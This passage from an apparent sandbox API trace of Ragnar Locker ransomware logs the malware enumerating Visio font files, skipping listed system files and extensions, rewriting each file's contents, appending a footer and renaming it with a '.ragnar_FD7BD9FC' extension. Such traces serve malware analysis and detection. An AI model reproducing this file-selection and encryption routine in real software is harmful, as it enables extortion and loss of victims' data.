Shared\\Fonts\\BIGFONT.SHX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" [0078.255] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.ragnar_FD7BD9FC" [0078.255] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.255] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0078.255] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x49 [0078.255] lstrcpyW (in: lpString1=0x1eab74, lpString2="CHINESET.SHX" | out: lpString1="CHINESET.SHX") returned="CHINESET.SHX" [0078.255] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX") returned=".SHX" [0078.255] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.255] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="autorun.inf") returned 1 [0078.255] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="boot.ini") returned 1 [0078.255] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="bootfont.bin") returned 1 [0078.255] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="bootsect.bak") returned 1 [0078.255] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="bootmgr") returned 1 [0078.255] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="bootmgr.efi") returned 1 [0078.255] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="bootmgfw.efi") returned 1 [0078.256] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="desktop.ini") returned -1 [0078.256] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="iconcache.db") returned -1 [0078.256] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="ntldr") returned -1 [0078.256] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="ntuser.dat") returned -1 [0078.256] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="ntuser.dat.log") returned -1 [0078.256] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="ntuser.ini") returned -1 [0078.256] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="thumbs.db") returned -1 [0078.256] lstrcmpiW (lpString1=".SHX", lpString2=".db") returned 1 [0078.256] lstrcmpiW (lpString1=".SHX", lpString2=".sys") returned -1 [0078.256] lstrcmpiW (lpString1=".SHX", lpString2=".dll") returned 1 [0078.256] lstrcmpiW (lpString1=".SHX", lpString2=".lnk") returned 1 [0078.256] lstrcmpiW (lpString1=".SHX", lpString2=".msi") returned 1 [0078.256] lstrcmpiW (lpString1=".SHX", lpString2=".drv") returned 1 [0078.256] lstrcmpiW (lpString1=".SHX", lpString2=".exe") returned 1 [0078.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx")) returned 0x20 [0078.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0078.256] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=665117) returned 1 [0078.256] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xa2614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.256] GetProcessHeap () returned 0x580000 [0078.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.256] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0078.258] VirtualAlloc (lpAddress=0x0, dwSize=0xa261d, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0078.258] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.258] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0078.258] ReadFile (in: hFile=0x100, lpBuffer=0x21c0000, nNumberOfBytesToRead=0xa261d, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1ea45c*=0xa261d, lpOverlapped=0x0) returned 1 [0078.272] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0078.276] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa261d, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.276] WriteFile (in: hFile=0x100, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0xa261d, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1ea458*=0xa261d, lpOverlapped=0x0) returned 1 [0078.277] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa261d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.278] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.281] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xa261d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.281] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.281] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.281] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.281] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0078.281] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.281] GetProcessHeap () returned 0x580000 [0078.281] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.281] CloseHandle (hObject=0x100) returned 1 [0078.281] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" [0078.281] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.ragnar_FD7BD9FC" [0078.281] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0078.282] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x49 [0078.282] lstrcpyW (in: lpString1=0x1eab74, lpString2="EXTFONT.SHX" | out: lpString1="EXTFONT.SHX") returned="EXTFONT.SHX" [0078.282] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX") returned=".SHX" [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="autorun.inf") returned 1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="boot.ini") returned 1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="bootfont.bin") returned 1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="bootsect.bak") returned 1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="bootmgr") returned 1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="bootmgr.efi") returned 1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="bootmgfw.efi") returned 1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="desktop.ini") returned 1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="iconcache.db") returned -1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="ntldr") returned -1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="ntuser.dat") returned -1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="ntuser.dat.log") returned -1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="ntuser.ini") returned -1 [0078.282] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="thumbs.db") returned -1 [0078.282] lstrcmpiW (lpString1=".SHX", lpString2=".db") returned 1 [0078.282] lstrcmpiW (lpString1=".SHX", lpString2=".sys") returned -1 [0078.282] lstrcmpiW (lpString1=".SHX", lpString2=".dll") returned 1 [0078.283] lstrcmpiW (lpString1=".SHX", lpString2=".lnk") returned 1 [0078.283] lstrcmpiW (lpString1=".SHX", lpString2=".msi") returned 1 [0078.283] lstrcmpiW (lpString1=".SHX", lpString2=".drv") returned 1 [0078.283] lstrcmpiW (lpString1=".SHX", lpString2=".exe") returned 1 [0078.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx")) returned 0x20 [0078.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0078.283] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=436710) returned 1 [0078.283] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x6a9dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.283] GetProcessHeap () returned 0x580000 [0078.283] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.283] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0078.285] VirtualAlloc (lpAddress=0x0, dwSize=0x6a9e6, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0078.285] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.285] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0078.285] ReadFile (in: hFile=0x100, lpBuffer=0x21c0000, nNumberOfBytesToRead=0x6a9e6, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1ea45c*=0x6a9e6, lpOverlapped=0x0) returned 1 [0078.294] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0078.296] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6a9e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.296] WriteFile (in: hFile=0x100, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0x6a9e6, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1ea458*=0x6a9e6, lpOverlapped=0x0) returned 1 [0078.297] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6a9e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.297] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.300] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x6a9e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.300] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.300] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.300] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.300] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0078.300] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.300] GetProcessHeap () returned 0x580000 [0078.300] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.300] CloseHandle (hObject=0x100) returned 1 [0078.300] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" [0078.300] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.ragnar_FD7BD9FC" [0078.300] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.301] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0078.301] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x49 [0078.301] lstrcpyW (in: lpString1=0x1eab74, lpString2="GBCBIG.SHX" | out: lpString1="GBCBIG.SHX") returned="GBCBIG.SHX" [0078.301] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned=".SHX" [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="autorun.inf") returned 1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="boot.ini") returned 1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="bootfont.bin") returned 1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="bootsect.bak") returned 1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="bootmgr") returned 1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="bootmgr.efi") returned 1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="bootmgfw.efi") returned 1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="desktop.ini") returned 1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="iconcache.db") returned -1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="ntldr") returned -1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="ntuser.dat") returned -1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="ntuser.dat.log") returned -1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="ntuser.ini") returned -1 [0078.301] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="thumbs.db") returned -1 [0078.301] lstrcmpiW (lpString1=".SHX", lpString2=".db") returned 1 [0078.301] lstrcmpiW (lpString1=".SHX", lpString2=".sys") returned -1 [0078.301] lstrcmpiW (lpString1=".SHX", lpString2=".dll") returned 1 [0078.301] lstrcmpiW (lpString1=".SHX", lpString2=".lnk") returned 1 [0078.301] lstrcmpiW (lpString1=".SHX", lpString2=".msi") returned 1 [0078.301] lstrcmpiW (lpString1=".SHX", lpString2=".drv") returned 1 [0078.302] lstrcmpiW (lpString1=".SHX", lpString2=".exe") returned 1 [0078.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx")) returned 0x20 [0078.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0078.302] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=902841) returned 1 [0078.302] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xdc6b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.302] GetProcessHeap () returned 0x580000 [0078.302] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.302] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0078.304] VirtualAlloc (lpAddress=0x0, dwSize=0xdc6b9, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0078.304] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.304] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0078.304] ReadFile (in: hFile=0x100, lpBuffer=0x22c0000, nNumberOfBytesToRead=0xdc6b9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1ea45c*=0xdc6b9, lpOverlapped=0x0) returned 1 [0078.322] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0078.327] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdc6b9, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.327] WriteFile (in: hFile=0x100, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0xdc6b9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1ea458*=0xdc6b9, lpOverlapped=0x0) returned 1 [0078.329] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdc6b9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.329] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.333] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xdc6b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.333] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.333] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.333] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.334] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0078.334] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.334] GetProcessHeap () returned 0x580000 [0078.334] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.334] CloseHandle (hObject=0x100) returned 1 [0078.334] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" [0078.334] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio 